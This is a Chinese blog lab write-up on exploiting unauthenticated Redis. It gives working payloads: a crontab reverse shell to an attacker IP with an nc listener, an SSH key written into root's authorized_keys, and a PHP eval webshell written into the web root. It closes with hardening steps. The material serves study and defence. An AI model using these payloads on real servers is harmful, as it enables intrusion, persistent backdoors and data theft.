未授权访问
进入.ssh文件
1 | cd .ssh/ |
生成公私钥
1 | ssh-keygen -t rsa |
上传公钥到服务端
1 | ssh-copy-id user@ip |
更改.ssh目录跟私钥的权限
1 | chmod 700 .ssh/ |
1 | chmod 600 .ssh/id_rsa |
进入.ssh/文件,查看authorized_keys文件是否与客户端的id_rsa.pub文件一致
更改authorized_keys文件权限
1 | chmod 600 .ssh/authorized_keys |
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
centos7.x安装redis数据库
yum install -y gcc wget wget http://download.redis.io/releases/redis-3.2.0.tar.gz #安装 tar xzf redis-3.2.0.tar.gz #解压 cd redis-3.2.0 #进入目录 make #编译 cd src && cp redis-server /usr/bin && cp redis-cli /usr/bin #将命令移动到用户命令下 cp redis-conf /etc/ #将改配置文件移动到/etc目录下 vim /etc/redis-conf #修改配合文件,使其可以远程访问 bind 127.0.0.1前面加上#号 protected-mode设为no redis-server redis-conf #启动redis服务 默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件
连接redis: redis-cli -h 192.168.232.133 查看redis版本信息、一些具体信息、服务器版本信息等等: 192.168.232.133:6379>info 将变量x的值设为test: 192.168.232.133:6379>set x "test" 是把整个redis数据库删除,一般情况下不要用!!! 192.168.232.133:6379>flushall 查看所有键: 192.168.232.133:6379>KEYS * 获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。 192.168.232.133:6379>CONFIG GET dir 192.168.232.133:6379>CONFIG GET dbfilename config set 动态调整Redis服务器的配置
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
靶机(centos):192.168.232.133
攻击机(kali):192.168.232.131
在redis以root权限运行时可以写crontab来执行命令反弹shell
先攻击机上监听2333端口
1 | nc -lvvp 2333 |
然后再开一个攻击机的会话,连接redis执行payload
config set dir /var/spool/cron/ config set dbfilename root set x "\n* * * * * bash -i >& /dev/tcp/192.168.232.131/2333 0>&1\n" save
此方法获取的shell似乎缺少了很多东西
利用条件
redis对外开放,且是未授权访问状态
redis服务ssh对外开放,可以通过密钥登入
ssh-keygen -t rsa #创建密钥 cat .ssh/id_rsa.pub#输出密钥文件
kali连接Redis服务器并将密钥发送到靶机
config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqj2vwiHfdeMp64uHUFoJ0xhnblfS4s+CbrkCgkQ3nCiTOYL6Y62W7ipuObngJO3lP6GnSacF/NDxBDKEAzLYjFhN7S4fs/sJKqZNP9feIdGSRCpgpAj072IUxqmBIWu4Yz6inzhbmStLFxIJ4oO3/3/20qnRMIlmZRzOeHKcWbd99pM+99k15p9ONDHmpFKBZILtumzJODbq32UyWkrfN7L6n/OuxB5IHv82eIJ0ZATxEJIK5QAjww3qGndMOmj8oMxPh5DXndtrEmLYeJslv9xioAdzvjzsqybaMnwSUlDJOuEuu8vf8Ad9vsaypNDlMvTlO73xCxTJvCcOA/dFCo1wobURjOIv+YjKjaGqezNWtRs0YbqV4cjCSlaEaUdtso+wAa2VnqyNueFvFWHnhXr8TnItkOR0300oaJlFVvCDISuYepr1EQMgoskkBURcQnKJBrTjOkJdijLwoIk0DJN0SXCI+4Y1yfdJ3FfRY8do0Q4cVDRVS+GGqwsjK0UU= root@kali\n\n\n" save
利用条件
目标机关闭了只能本机访问
目标机开启了web服务,知道web的路径以及具有写权限
config set dir /var/www/html config set dbfilename webshell.php set x "<?php @eval($_POST['cmd'])?>" save
访问
1 | http://192.168.232.133/webshell.php |
,有回显,此时用蚁剑连接
查看靶机的网站目录也发现了该木马文件
到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
修改 redis.conf 文件,添加 requirepass mypasswd
3、在需要对外开放的时候修改默认端口(端口不重复就可以)
port 2344
4、以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
5、最后还可以配合iptables限制开放
行云博客 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。 本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。 如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我(admin@xy586.top)联系处理。敬请谅解!
本文链接:https://www.xy586.top/38205.html
转载请注明文章来源:行云博客 » 未授权访问漏洞原理及复现